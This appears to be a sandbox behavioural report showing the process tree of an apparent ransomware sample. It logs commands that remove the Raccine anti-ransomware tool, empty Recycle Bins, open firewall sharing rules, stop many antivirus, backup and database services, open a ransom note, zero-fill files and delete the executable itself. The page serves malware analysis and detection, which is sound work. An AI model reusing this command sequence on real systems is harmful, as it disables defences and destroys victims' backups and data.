| ZeroBOX

client1122.exe "C:\Users\test22\AppData\Local\Temp\client1122.exe"
4748
- taskkill.exe "taskkill" /F /IM RaccineSettings.exe
  7960
- reg.exe "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
  8800
- reg.exe "reg" delete HKCU\Software\Raccine /F
  4716
- schtasks.exe "schtasks" /DELETE /TN "Raccine Rules Updater" /F
  2848
- cmd.exe "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
  6200
- cmd.exe "cmd.exe" /c rd /s /q D:\\$Recycle.bin
  4496
- sc.exe "sc.exe" config Dnscache start= auto
  4120
- sc.exe "sc.exe" config FDResPub start= auto
  8772
- sc.exe "sc.exe" config SQLTELEMETRY start= disabled
  6080
- netsh.exe "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  3180
- sc.exe "sc.exe" config SSDPSRV start= auto
  8248
- sc.exe "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  4104
- sc.exe "sc.exe" config SstpSvc start= disabled
  2736
- netsh.exe "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  7304
- sc.exe "sc.exe" config upnphost start= auto
  6688
- sc.exe "sc.exe" config SQLWriter start= disabled
  2000
- net.exe "net.exe" start Dnscache /y
  1596
  - net1.exe C:\Windows\system32\net1 start Dnscache /y
    8116
- net.exe "net.exe" start FDResPub /y
  4340
  - net1.exe C:\Windows\system32\net1 start FDResPub /y
    5228
- net.exe "net.exe" stop bedbg /y
  2300
  - net1.exe C:\Windows\system32\net1 stop bedbg /y
    4180
- net.exe "net.exe" stop MSSQL$SQL_2008 /y
  2308
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
    1808
- net.exe "net.exe" start SSDPSRV /y
  1536
  - net1.exe C:\Windows\system32\net1 start SSDPSRV /y
    3232
- net.exe "net.exe" stop avpsus /y
  5624
  - net1.exe C:\Windows\system32\net1 stop avpsus /y
    5376
- net.exe "net.exe" stop EhttpSrv /y
  4860
  - net1.exe C:\Windows\system32\net1 stop EhttpSrv /y
    3512
- net.exe "net.exe" start upnphost /y
  2488
  - net1.exe C:\Windows\system32\net1 start upnphost /y
    5800
- net.exe "net.exe" stop MSSQL$SQLEXPRESS /y
  7904
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SQLEXPRESS /y
    8388
- net.exe "net.exe" stop McAfeeDLPAgentService /y
  108
  - net1.exe C:\Windows\system32\net1 stop McAfeeDLPAgentService /y
    3052
- net.exe "net.exe" stop MMS /y
  8436
  - net1.exe C:\Windows\system32\net1 stop MMS /y
    7408
- net.exe "net.exe" stop mfewc /y
  1924
  - net1.exe C:\Windows\system32\net1 stop mfewc /y
    5468
- net.exe "net.exe" stop ekrn /y
  852
  - net1.exe C:\Windows\system32\net1 stop ekrn /y
    4896
- net.exe "net.exe" stop ccEvtMgr /y
  6276
  - net1.exe C:\Windows\system32\net1 stop ccEvtMgr /y
    2824
- net.exe "net.exe" stop mozyprobackup /y
  1936
  - net1.exe C:\Windows\system32\net1 stop mozyprobackup /y
    6628
- net.exe "net.exe" stop BMR Boot Service /y
  3440
  - net1.exe C:\Windows\system32\net1 stop BMR Boot Service /y
    5208
- net.exe "net.exe" stop MSSQL$TPS /y
  8796
  - net1.exe C:\Windows\system32\net1 stop MSSQL$TPS /y
    5544
- net.exe "net.exe" stop MSSQL$SYSTEM_BGC /y
  6672
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
    7696
- net.exe "net.exe" stop ccSetMgr /y
  2892
  - net1.exe C:\Windows\system32\net1 stop ccSetMgr /y
    6908
- net.exe "net.exe" stop EPSecurityService /y
  2304
  - net1.exe C:\Windows\system32\net1 stop EPSecurityService /y
    2996
- net.exe "net.exe" stop NetBackup BMR MTFTP Service /y
  5444
  - net1.exe C:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y
    3092
- net.exe "net.exe" stop EPUpdateService /y
  5200
  - net1.exe C:\Windows\system32\net1 stop EPUpdateService /y
    3764
- net.exe "net.exe" stop SavRoam /y
  8344
  - net1.exe C:\Windows\system32\net1 stop SavRoam /y
    3116
- net.exe "net.exe" stop DefWatch /y
  6716
  - net1.exe C:\Windows\system32\net1 stop DefWatch /y
    3792
- net.exe "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  2072
  - net1.exe C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
    8716
- net.exe "net.exe" stop ntrtscan /y
  4668
  - net1.exe C:\Windows\system32\net1 stop ntrtscan /y
    9072
- net.exe "net.exe" stop RTVscan /y
  7712
  - net1.exe C:\Windows\system32\net1 stop RTVscan /y
    4692
- net.exe "net.exe" stop QBFCService /y
  3988
  - net1.exe C:\Windows\system32\net1 stop QBFCService /y
    6828
- net.exe "net.exe" stop EsgShKernel /y
  6000
  - net1.exe C:\Windows\system32\net1 stop EsgShKernel /y
    7744
- net.exe "net.exe" stop MSSQL$TPSAMA /y
  2980
  - net1.exe C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
    240
- net.exe "net.exe" stop VSNAPVSS /y
  4056
  - net1.exe C:\Windows\system32\net1 stop VSNAPVSS /y
    2804
- net.exe "net.exe" stop QBIDPService /y
  8200
  - net1.exe C:\Windows\system32\net1 stop QBIDPService /y
    8260
- net.exe "net.exe" stop PDVFSService /y
  3336
  - net1.exe C:\Windows\system32\net1 stop PDVFSService /y
    5588
- net.exe "net.exe" stop MSSQLFDLauncher$PROFXENGAGEMENT /y
  2752
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
    3572
- net.exe "net.exe" stop VeeamTransportSvc /y
  4424
  - net1.exe C:\Windows\system32\net1 stop VeeamTransportSvc /y
    6248
- net.exe "net.exe" stop Intuit.QuickBooks.FCS /y
  1048
  - net1.exe C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
    1320
- net.exe "net.exe" stop MSSQL$VEEAMSQL2008R2 /y
  4352
  - net1.exe C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
    4700
- net.exe "net.exe" stop KAVFS /y
  4880
  - net1.exe C:\Windows\system32\net1 stop KAVFS /y
    2676
- net.exe "net.exe" stop VeeamDeploymentService /y
  7040
  - net1.exe C:\Windows\system32\net1 stop VeeamDeploymentService /y
    7844
- net.exe "net.exe" stop QBCFMonitorService /y
  6016
  - net1.exe C:\Windows\system32\net1 stop QBCFMonitorService /y
    7020
- net.exe "net.exe" stop ESHASRV /y
  3504
  - net1.exe C:\Windows\system32\net1 stop ESHASRV /y
    3740
- net.exe "net.exe" stop SQLWriter /y
  7468
  - net1.exe C:\Windows\system32\net1 stop SQLWriter /y
    6416
- net.exe "net.exe" stop VeeamNFSSvc /y
  2588
  - net1.exe C:\Windows\system32\net1 stop VeeamNFSSvc /y
    2440
- net.exe "net.exe" stop BackupExecAgentBrowser /y
  7972
  - net1.exe C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3964
- net.exe "net.exe" stop YooBackup /y
  4304
  - net1.exe C:\Windows\system32\net1 stop YooBackup /y
    1052
- net.exe "net.exe" stop SDRSVC /y
  6484
  - net1.exe C:\Windows\system32\net1 stop SDRSVC /y
    8980
- net.exe "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  2260
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
    6184
- net.exe "net.exe" stop veeam /y
  8292
  - net1.exe C:\Windows\system32\net1 stop veeam /y
    7388
- net.exe "net.exe" stop BackupExecDiveciMediaService /y
  8640
  - net1.exe C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    8548
- net.exe "net.exe" stop YooIT /y
  8220
  - net1.exe C:\Windows\system32\net1 stop YooIT /y
    7940
- net.exe "net.exe" stop MSSQL$VEEAMSQL2012 /y
  8552
  - net1.exe C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
    4772
- net.exe "net.exe" stop KAVFSGT /y
  1520
  - net1.exe C:\Windows\system32\net1 stop KAVFSGT /y
    7908
- net.exe "net.exe" stop PDVFSService /y
  8728
  - net1.exe C:\Windows\system32\net1 stop PDVFSService /y
    2508
- net.exe "net.exe" stop BackupExecJobEngine /y
  2120
  - net1.exe C:\Windows\system32\net1 stop BackupExecJobEngine /y
    4900
- net.exe "net.exe" stop zhudongfangyu /y
  6764
  - net1.exe C:\Windows\system32\net1 stop zhudongfangyu /y
    7524
- net.exe "net.exe" stop VeeamBackupSvc /y
  4780
  - net1.exe C:\Windows\system32\net1 stop VeeamBackupSvc /y
    5116
- net.exe "net.exe" stop FA_Scheduler /y
  8628
  - net1.exe C:\Windows\system32\net1 stop FA_Scheduler /y
    5012
- net.exe "net.exe" stop BackupExecVSSProvider /y
  2428
  - net1.exe C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3356
- net.exe "net.exe" stop stc_raw_agent /y
  5264
  - net1.exe C:\Windows\system32\net1 stop stc_raw_agent /y
    8644
- net.exe "net.exe" stop BackupExecManagementService /y
  3460
  - net1.exe C:\Windows\system32\net1 stop BackupExecManagementService /y
    3036
- net.exe "net.exe" stop SQLAgent$VEEAMSQL2008R2 /y
  4640
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$VEEAMSQL2008R2 /y
    3328
- net.exe "net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
  8832
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y
    4020
- net.exe "net.exe" stop BackupExecAgentAccelerator /y
  6876
  - net1.exe C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    1844
- net.exe "net.exe" stop BackupExecRPCService /y
  7424
  - net1.exe C:\Windows\system32\net1 stop BackupExecRPCService /y
    2092
- net.exe "net.exe" stop CASAD2DWebSvc /y
  3076
  - net1.exe C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    2384
- net.exe "net.exe" stop VeeamBrokerSvc /y
  9136
  - net1.exe C:\Windows\system32\net1 stop VeeamBrokerSvc /y
    7188
- net.exe "net.exe" stop ReportServer /y
  7284
  - net1.exe C:\Windows\system32\net1 stop ReportServer /y
    3636
- net.exe "net.exe" stop kavfsslp /y
  5520
  - net1.exe C:\Windows\system32\net1 stop kavfsslp /y
    5068
- net.exe "net.exe" stop AcrSch2Svc /y
  4808
  - net1.exe C:\Windows\system32\net1 stop AcrSch2Svc /y
    5700
- net.exe "net.exe" stop MSSQLServerADHelper /y
  6468
  - net1.exe C:\Windows\system32\net1 stop MSSQLServerADHelper /y
    3912
- net.exe "net.exe" stop AcronisAgent /y
  5336
  - net1.exe C:\Windows\system32\net1 stop AcronisAgent /y
    5232
- net.exe "net.exe" stop MSSQLFDLauncher$SQL_2008 /y
  7848
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
    5392
- net.exe "net.exe" stop “SQLsafe Backup Service” /y
  5268
  - net1.exe C:\Windows\system32\net1 stop “SQLsafe Backup Service” /y
    2104
- net.exe "net.exe" stop CAARCUpdateSvc /y
  5924
  - net1.exe C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    4796
- net.exe "net.exe" stop sophos /y
  4036
  - net1.exe C:\Windows\system32\net1 stop sophos /y
    5064
- net.exe "net.exe" stop UI0Detect /y
  7668
  - net1.exe C:\Windows\system32\net1 stop UI0Detect /y
    4296
- net.exe "net.exe" stop klnagent /y
  6920
  - net1.exe C:\Windows\system32\net1 stop klnagent /y
    3108
- net.exe "net.exe" stop MsDtsServer110 /y
  2464
  - net1.exe C:\Windows\system32\net1 stop MsDtsServer110 /y
    3276
- net.exe "net.exe" stop VeeamCatalogSvc /y
  6560
  - net1.exe C:\Windows\system32\net1 stop VeeamCatalogSvc /y
    7796
- net.exe "net.exe" stop “Acronis VSS Provider” /y
  8172
  - net1.exe C:\Windows\system32\net1 stop “Acronis VSS Provider” /y
    2272
- net.exe "net.exe" stop MSExchangeSA /y
  8972
  - net1.exe C:\Windows\system32\net1 stop MSExchangeSA /y
    1040
- net.exe "net.exe" stop VeeamHvIntegrationSvc /y
  8744
  - net1.exe C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
    8764
- net.exe "net.exe" stop McAfeeEngineService /y
  6700
  - net1.exe C:\Windows\system32\net1 stop McAfeeEngineService /y
    5184
- net.exe "net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
  2356
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y
    6500
- net.exe "net.exe" stop POP3Svc /y
  4196
  - net1.exe C:\Windows\system32\net1 stop POP3Svc /y
    2664
- net.exe "net.exe" stop MsDtsServer /y
  8376
  - net1.exe C:\Windows\system32\net1 stop MsDtsServer /y
    5044
- net.exe "net.exe" stop “Sophos File Scanner Service” /y
  5712
  - net1.exe C:\Windows\system32\net1 stop “Sophos File Scanner Service” /y
    7732
- net.exe "net.exe" stop MSSQLServerADHelper100 /y
  5548
  - net1.exe C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
    3432
- net.exe "net.exe" stop macmnsvc /y
  8996
  - net1.exe C:\Windows\system32\net1 stop macmnsvc /y
    3228
- net.exe "net.exe" stop MSExchangeMGMT /y
  3156
  - net1.exe C:\Windows\system32\net1 stop MSExchangeMGMT /y
    2328
- net.exe "net.exe" stop ReportServer$TPS /y
  5536
  - net1.exe C:\Windows\system32\net1 stop ReportServer$TPS /y
    4024
- net.exe "net.exe" stop IISAdmin /y
  6424
  - net1.exe C:\Windows\system32\net1 stop IISAdmin /y
    5256
- net.exe "net.exe" stop McAfeeFramework /y
  3604
  - net1.exe C:\Windows\system32\net1 stop McAfeeFramework /y
    6116
- net.exe "net.exe" stop VeeamCloudSvc /y
  3384
  - net1.exe C:\Windows\system32\net1 stop VeeamCloudSvc /y
    4012
- net.exe "net.exe" stop “Veeam Backup Catalog Data Service” /y
  4016
  - net1.exe C:\Windows\system32\net1 stop “Veeam Backup Catalog Data Service” /y
    6420
- net.exe "net.exe" stop MSExchangeES /y
  8948
  - net1.exe C:\Windows\system32\net1 stop MSExchangeES /y
    7680
- net.exe "net.exe" stop “Sophos Clean Service” /y
  6148
  - net1.exe C:\Windows\system32\net1 stop “Sophos Clean Service” /y
    3632
- net.exe "net.exe" stop VeeamMountSvc /y
  1752
  - net1.exe C:\Windows\system32\net1 stop VeeamMountSvc /y
    5084
- net.exe "net.exe" stop MSSQLFDLauncher$TPS /y
  6636
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
    5672
- net.exe "net.exe" stop SMTPSvc /y
  6660
  - net1.exe C:\Windows\system32\net1 stop SMTPSvc /y
    3436
- net.exe "net.exe" stop MSOLAP$SYSTEM_BGC /y
  2644
  - net1.exe C:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y
    2608
- net.exe "net.exe" stop “Sophos Agent” /y
  6188
  - net1.exe C:\Windows\system32\net1 stop “Sophos Agent” /y
    8692
- net.exe "net.exe" stop MSSQLServerOLAPService /y
  2264
  - net1.exe C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
    5328
- net.exe "net.exe" stop masvc /y
  4560
  - net1.exe C:\Windows\system32\net1 stop masvc /y
    1920
- net.exe "net.exe" stop ReportServer$SQL_2008 /y
  8964
  - net1.exe C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
    8476
- net.exe "net.exe" stop W3Svc /y
  152
  - net1.exe C:\Windows\system32\net1 stop W3Svc /y
    7348
- net.exe "net.exe" stop EraserSvc11710 /y
  2140
  - net1.exe C:\Windows\system32\net1 stop EraserSvc11710 /y
    8872
- net.exe "net.exe" stop McAfeeFrameworkMcAfeeFramework /y
  7212
  - net1.exe C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
    2744
- net.exe "net.exe" stop VeeamDeploymentService /y
  2420
  - net1.exe C:\Windows\system32\net1 stop VeeamDeploymentService /y
    3784
- net.exe "net.exe" stop MSExchangeSRS /y
  6656
  - net1.exe C:\Windows\system32\net1 stop MSExchangeSRS /y
    8048
- net.exe "net.exe" stop “SQLsafe Filter Service” /y
  5616
  - net1.exe C:\Windows\system32\net1 stop “SQLsafe Filter Service” /y
    8984
- net.exe "net.exe" stop “Enterprise Client Service” /y
  8748
  - net1.exe C:\Windows\system32\net1 stop “Enterprise Client Service” /y
    8544
- net.exe "net.exe" stop VeeamNFSSvc /y
  5696
  - net1.exe C:\Windows\system32\net1 stop VeeamNFSSvc /y
    988
- net.exe "net.exe" stop MSSQLFDLauncher$TPSAMA /y
  5212
  - net1.exe C:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y
    1292
- net.exe "net.exe" stop “Sophos Health Service” /y
  8252
  - net1.exe C:\Windows\system32\net1 stop “Sophos Health Service” /y
    6476
- net.exe "net.exe" stop msftesql$PROD /y
  8508
  - net1.exe C:\Windows\system32\net1 stop msftesql$PROD /y
    1684
- net.exe "net.exe" stop “SQL Backups /y
  9052
  - net1.exe C:\Windows\system32\net1 stop “SQL Backups /y
    1304
- net.exe "net.exe" stop MBAMService /y
  4904
  - net1.exe C:\Windows\system32\net1 stop MBAMService /y
    7356
- net.exe "net.exe" stop MySQL57 /y
  8372
  - net1.exe C:\Windows\system32\net1 stop MySQL57 /y
    3936
- net.exe "net.exe" stop ReportServer$TPSAMA /y
  3924
  - net1.exe C:\Windows\system32\net1 stop ReportServer$TPSAMA /y
    6988
- net.exe "net.exe" stop SstpSvc /y
  1712
  - net1.exe C:\Windows\system32\net1 stop SstpSvc /y
    8168
- net.exe "net.exe" stop MsDtsServer100 /y
  7008
  - net1.exe C:\Windows\system32\net1 stop MsDtsServer100 /y
    6696
- net.exe "net.exe" stop VeeamDeploySvc /y
  6588
  - net1.exe C:\Windows\system32\net1 stop VeeamDeploySvc /y
    7824
- net.exe "net.exe" stop McShield /y
  1744
  - net1.exe C:\Windows\system32\net1 stop McShield /y
    5280
- net.exe "net.exe" stop “Zoolz 2 Service” /y
  1816
  - net1.exe C:\Windows\system32\net1 stop “Zoolz 2 Service” /y
    6596
- net.exe "net.exe" stop NetMsmqActivator /y
  6472
  - net1.exe C:\Windows\system32\net1 stop NetMsmqActivator /y
    6804
- net.exe "net.exe" stop MSExchangeMTA /y
  5752
  - net1.exe C:\Windows\system32\net1 stop MSExchangeMTA /y
    7728
- net.exe "net.exe" stop VeeamRESTSvc /y
  6900
  - net1.exe C:\Windows\system32\net1 stop VeeamRESTSvc /y
    7800
- net.exe "net.exe" stop MSOLAP$TPS /y
  8776
  - net1.exe C:\Windows\system32\net1 stop MSOLAP$TPS /y
    2868
- net.exe "net.exe" stop MSSQLSERVER /y
  9156
  - net1.exe C:\Windows\system32\net1 stop MSSQLSERVER /y
    6112
- net.exe "net.exe" stop “Sophos Device Control Service” /y
  6544
  - net1.exe C:\Windows\system32\net1 stop “Sophos Device Control Service” /y
    6888
- net.exe "net.exe" stop MySQL80 /y
  2460
  - net1.exe C:\Windows\system32\net1 stop MySQL80 /y
    1896
- net.exe "net.exe" stop MSExchangeIS /y
  7880
  - net1.exe C:\Windows\system32\net1 stop MSExchangeIS /y
    6064
- net.exe "net.exe" stop MBEndpointAgent /y
  4696
  - net1.exe C:\Windows\system32\net1 stop MBEndpointAgent /y
    8196
- net.exe "net.exe" stop “aphidmonitorservice” /y
  8108
  - net1.exe C:\Windows\system32\net1 stop “aphidmonitorservice” /y
    4156
- net.exe "net.exe" stop ReportServer$SYSTEM_BGC /y
  6340
  - net1.exe C:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y
    6048
- net.exe "net.exe" stop VeeamEnterpriseManagerSvc /y
  6832
  - net1.exe C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
    5584
- net.exe "net.exe" stop McTaskManager /y
  3940
  - net1.exe C:\Windows\system32\net1 stop McTaskManager /y
    5684
- net.exe "net.exe" stop “Sophos AutoUpdate Service” /y
  2436
  - net1.exe C:\Windows\system32\net1 stop “Sophos AutoUpdate Service” /y
    5620
- net.exe "net.exe" stop msexchangeadtopology /y
  5828
  - net1.exe C:\Windows\system32\net1 stop msexchangeadtopology /y
    8140
- net.exe "net.exe" stop “Symantec System Recovery” /y
  2748
  - net1.exe C:\Windows\system32\net1 stop “Symantec System Recovery” /y
    7236
- net.exe "net.exe" stop mfefire /y
  8524
  - net1.exe C:\Windows\system32\net1 stop mfefire /y
    2456
- net.exe "net.exe" stop VeeamTransportSvc /y
  584
  - net1.exe C:\Windows\system32\net1 stop VeeamTransportSvc /y
    6940
- net.exe "net.exe" stop “Sophos MCS Agent” /y
  5180
  - net1.exe C:\Windows\system32\net1 stop “Sophos MCS Agent” /y
    3828
- net.exe "net.exe" stop SamSs /y
  6296
  - net1.exe C:\Windows\system32\net1 stop SamSs /y
    1308
- net.exe "net.exe" stop MSOLAP$SQL_2008 /y
  4960
  - net1.exe C:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y
    1136
- net.exe "net.exe" stop wbengine /y
  3056
  - net1.exe C:\Windows\system32\net1 stop wbengine /y
    4788
- net.exe "net.exe" stop AcrSch2Svc /y
  8356
  - net1.exe C:\Windows\system32\net1 stop AcrSch2Svc /y
    4604
- net.exe "net.exe" stop OracleClientCache80 /y
  6076
  - net1.exe C:\Windows\system32\net1 stop OracleClientCache80 /y
    6788
- net.exe "net.exe" stop BackupExecAgentAccelerator /y
  200
  - net1.exe C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    6784
- net.exe "net.exe" stop BackupExecRPCService /y
  7700
  - net1.exe C:\Windows\system32\net1 stop BackupExecRPCService /y
    5552
- net.exe "net.exe" stop SQLAgent$PRACTTICEBGC /y
  2200
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y
    6712
- net.exe "net.exe" stop ReportServer$SQL_2008 /y
  236
  - net1.exe C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
    8484
- net.exe "net.exe" stop MSOLAP$TPSAMA /y
  5968
  - net1.exe C:\Windows\system32\net1 stop MSOLAP$TPSAMA /y
    4876
- net.exe "net.exe" stop MSSQL$ECWDB2 /y
  4400
  - net1.exe C:\Windows\system32\net1 stop MSSQL$ECWDB2 /y
    3184
- net.exe "net.exe" stop SepMasterService /y
  7604
  - net1.exe C:\Windows\system32\net1 stop SepMasterService /y
    9152
- net.exe "net.exe" stop MSSQL$SBSMONITORING /
  4676
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /
    3340
- net.exe "net.exe" stop mfemms /y
  4520
  - net1.exe C:\Windows\system32\net1 stop mfemms /y
    6572
- net.exe "net.exe" stop “intel(r) proset monitoring service” /y
  8704
  - net1.exe C:\Windows\system32\net1 stop “intel(r) proset monitoring service” /y
    1004
- net.exe "net.exe" stop MSSQL$SBSMONITORING /y
  1640
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
    8092
- net.exe "net.exe" stop audioendpointbuilder /y
  6488
  - net1.exe C:\Windows\system32\net1 stop audioendpointbuilder /y
    2820
- net.exe "net.exe" stop SQLAgent$PRACTTICEMGT /y
  4512
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y
    4100
- net.exe "net.exe" stop wbengine /y
  8904
  - net1.exe C:\Windows\system32\net1 stop wbengine /y
    8112
- net.exe "net.exe" stop msexchangeimap4 /y
  1500
  - net1.exe C:\Windows\system32\net1 stop msexchangeimap4 /y
    4420
- net.exe "net.exe" stop AVP /y
  920
  - net1.exe C:\Windows\system32\net1 stop AVP /y
    2164
- net.exe "net.exe" stop “Sophos Safestore Service” /y
  4184
  - net1.exe C:\Windows\system32\net1 stop “Sophos Safestore Service” /y
    6036
- net.exe "net.exe" stop ShMonitor /y
  6364
  - net1.exe C:\Windows\system32\net1 stop ShMonitor /y
    1240
- net.exe "net.exe" stop RESvc /y
  8604
  - net1.exe C:\Windows\system32\net1 stop RESvc /y
    6756
- net.exe "net.exe" stop “Sophos MCS Client” /y
  3032
  - net1.exe C:\Windows\system32\net1 stop “Sophos MCS Client” /y
    3404
- net.exe "net.exe" stop BackupExecVSSProvider /y
  2712
  - net1.exe C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    8976
- net.exe "net.exe" stop BackupExecAgentBrowser /y
  8952
  - net1.exe C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    6964
- net.exe "net.exe" stop SQLAgent$PROD /y
  3968
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$PROD /y
    4508
- net.exe "net.exe" stop mfevtp /y
  6180
  - net1.exe C:\Windows\system32\net1 stop mfevtp /y
    6800
- net.exe "net.exe" stop ARSM /y
  1224
  - net1.exe C:\Windows\system32\net1 stop ARSM /y
    8288
- net.exe "net.exe" stop MSSQL$PRACTICEMGT /y
  2432
  - net1.exe C:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y
    7580
- net.exe "net.exe" stop MSSQL$SHAREPOINT /y
  5932
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
    6368
- net.exe "net.exe" stop sms_site_sql_backup /y
  8848
  - net1.exe C:\Windows\system32\net1 stop sms_site_sql_backup /y
    4928
- net.exe "net.exe" stop Smcinst /y
  4236
  - net1.exe C:\Windows\system32\net1 stop Smcinst /y
    7276
- net.exe "net.exe" stop MSSQL$BKUPEXEC /y
  2152
  - net1.exe C:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y
    1544
- net.exe "net.exe" stop DCAgent /y
  4976
  - net1.exe C:\Windows\system32\net1 stop DCAgent /y
    5532
- net.exe "net.exe" stop “Sophos System Protection Service” /y
  5348
  - net1.exe C:\Windows\system32\net1 stop “Sophos System Protection Service” /y
    1836
- net.exe "net.exe" stop SQLAgent$PROFXENGAGEMENT /y
  5204
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y
    4052
- net.exe "net.exe" stop SQLAgent$BKUPEXEC /y
  8600
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y
    8804
- net.exe "net.exe" stop unistoresvc_1af40a /y
  3856
  - net1.exe C:\Windows\system32\net1 stop unistoresvc_1af40a /y
    7804
- net.exe "net.exe" stop SQLAgent$SYSTEM_BGC /y
  2208
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y
    9368
- net.exe "net.exe" stop BackupExecDeviceMediaService /y
  5716
  - net1.exe C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
    9344
- net.exe "net.exe" stop SmcService /y
  4856
  - net1.exe C:\Windows\system32\net1 stop SmcService /y
    9500
- net.exe "net.exe" stop MSSQL$SOPHOS /y
  9228
  - net1.exe C:\Windows\system32\net1 stop MSSQL$SOPHOS /y
    9680
- net.exe "net.exe" stop “Sophos Message Router” /y
  9308
  - net1.exe C:\Windows\system32\net1 stop “Sophos Message Router” /y
    9704
- net.exe "net.exe" stop swi_filter /y
  9424
  - net1.exe C:\Windows\system32\net1 stop swi_filter /y
    9796
- notepad.exe "C:\Windows\System32\notepad.exe" C:\Users\test22\Desktop\RESTORE_FILES_INFO.txt
  9468
- net.exe "net.exe" stop MSSQL$PRACTTICEBGC /y
  9564
  - net1.exe C:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y
    9924
- net.exe "net.exe" stop SQLAgent$SBSMONITORING /y
  9640
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
    10020
- net.exe "net.exe" stop SQLAgent$CITRIX_METAFRAME /y
  9780
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y
    10192
- net.exe "net.exe" stop SQLTELEMETRY /y
  9888
  - net1.exe C:\Windows\system32\net1 stop SQLTELEMETRY /y
    9320
- cmd.exe "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  10000
  - PING.EXE ping 127.0.0.7 -n 3
    9380
  - fsutil.exe fsutil file setZeroData offset=0 length=524288 “%s”
    8408
- net.exe "net.exe" stop SQLAgent$TPS /y
  10100
  - net1.exe C:\Windows\system32\net1 stop SQLAgent$TPS /y
    9408
- cmd.exe "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\test22\AppData\Local\Temp\client1122.exe
  10128
  - choice.exe choice /C Y /N /D Y /T 3
    6508
explorer.exe C:\Windows\Explorer.EXE
1848

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents